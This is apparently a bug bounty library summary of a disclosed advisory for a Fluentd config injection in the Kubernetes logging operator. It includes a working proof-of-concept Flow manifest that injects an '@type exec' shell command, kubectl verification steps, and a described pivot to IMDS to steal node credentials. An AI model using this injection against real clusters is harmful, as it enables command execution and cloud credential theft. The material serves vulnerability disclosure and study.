# Logging operator has Fluentd configuration injection that allows remote code execution

Logging operator renders Flow record_transformer values unescaped into fluent.conf, letting a tenant inject an @type exec match block and run commands in the shared Fluentd aggregator.

- Payout: Research
- Severity: critical
- Program: Logging operator
- Found by: hnts
- Disclosed: 2026-07-29
- CVE: CVE-2026-54680
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-mjqf-28ph-426h
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mjqf-28ph-426h
- Tags: area:cloud domain:cloud domain:infra impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:kubernetes technique:chained technique:source-review vuln:command-injection vuln:rce

**Target:** Fluentd configuration renderer (FluentRender) in logging-operator CRD Flow/record_transformer
**Root cause:** FluentRender writes CRD parameter values as `key value` without quoting or rejecting newlines and `<`/`>`, and indentedf splits on \n, so newlines in values become new config lines. record_transformer.records passes map values into Params unvalidated.
**Steps:**
1. Create an Output (e.g. `nullout: {}`) in a watched namespace like `tenant-a`.
2. Create a Flow whose `record_transformer.records` value contains newlines closing `</record>` and `</filter>` and opening `<match **>` with `@type exec` and `command /bin/sh -c "id > /tmp/pwned"`, then reopening `<filter dummy.**>` to absorb trailing text.
3. Apply both manifests; the operator's dry-run check passes since injected config is syntactically valid.
4. Confirm injection: `kubectl -n <control-namespace> get secret <logging>-fluentd-app -o go-template='{{ index .data "fluentd.conf" }}' | base64 -d | grep -A8 '@type exec'`.
5. Emit logs from any Pod in tenant-a to trigger the `<match **>` block; on buffer flush the command runs.
6. Verify: `kubectl -n <control-namespace> exec <fluentd-aggregator-pod> -- cat /tmp/pwned` returns `uid=100(fluent)`.
**How found:** Code review of FluentRender in pkg/sdk/logging/model/render/fluent.go: noticed values rendered unquoted as `key value` and indentedf splitting on \n, then traced record_transformer ToDirective passing Record map into Params without escaping; realized dry-run validation only checks syntax so a valid injected @type exec block passes.
**Exploitation:** Attacker with Flow/Output create rights in one tenant namespace injects a `<match **>` block using core `@type exec` plugin; any log event in the namespace flows into it and on buffer flush (flush_interval 1s) executes arbitrary shell commands inside the shared Fluentd aggregator. On EKS the pod can reach IMDS (confirmed on EKS 1.35) to steal node credentials.
**Escalation:** Pivot from tenant-namespace CRD write to code execution in the shared multi-tenant aggregator, then to cloud node credentials via IMDS (169.254.169.254).
**Insight:** When a config generator renders CRD values line-oriented and validates output only with a syntax dry-run, newline injection into any map-valued field can close/open config blocks; check whether core plugins like Fluentd's @type exec are available in the shipped image to convert injection into RCE.

## Proof of concept (copied exactly from the original report)

**Flow with injected @type exec block**

```
apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
  name: exfil
  namespace: tenant-a
spec:
  match:
    - select: {}
  filters:
    - record_transformer:
        records:
          - x: |-
              y
              </record>
              </filter>
              <match **>
                @type exec
                command /bin/sh -c "id > /tmp/pwned"
                <format>
                  @type json
                </format>
                <buffer>
                  flush_interval 1s
                </buffer>
              </match>
              <filter dummy.**>
                @type record_transformer
                <record>
                  absorbed y
  localOutputRefs:
    - sink
```

**Minimal Output sink manifest**

```
apiVersion: logging.banzaicloud.io/v1beta1
kind: Output
metadata:
  name: sink
  namespace: tenant-a
spec:
  nullout: {}
```

**Commands verifying injected config and execution**

```
kubectl apply -f output.yaml -f flow.yaml

kubectl -n <control-namespace> get secret <logging>-fluentd-app \
  -o go-template='{{ index .data "fluentd.conf" }}' \
  | base64 -d | grep -A8 '@type exec'

When any Pod in `tenant-a` emits logs, those logs flow into the injected `<match **>` block. When `out_exec` flushes its buffer, the command is executed and can be confirmed as follows.

kubectl -n <control-namespace> exec <fluentd-aggregator-pod> -- cat /tmp/pwned
# expected:
uid=100(fluent) gid=101(fluent) groups=101(fluent)
```

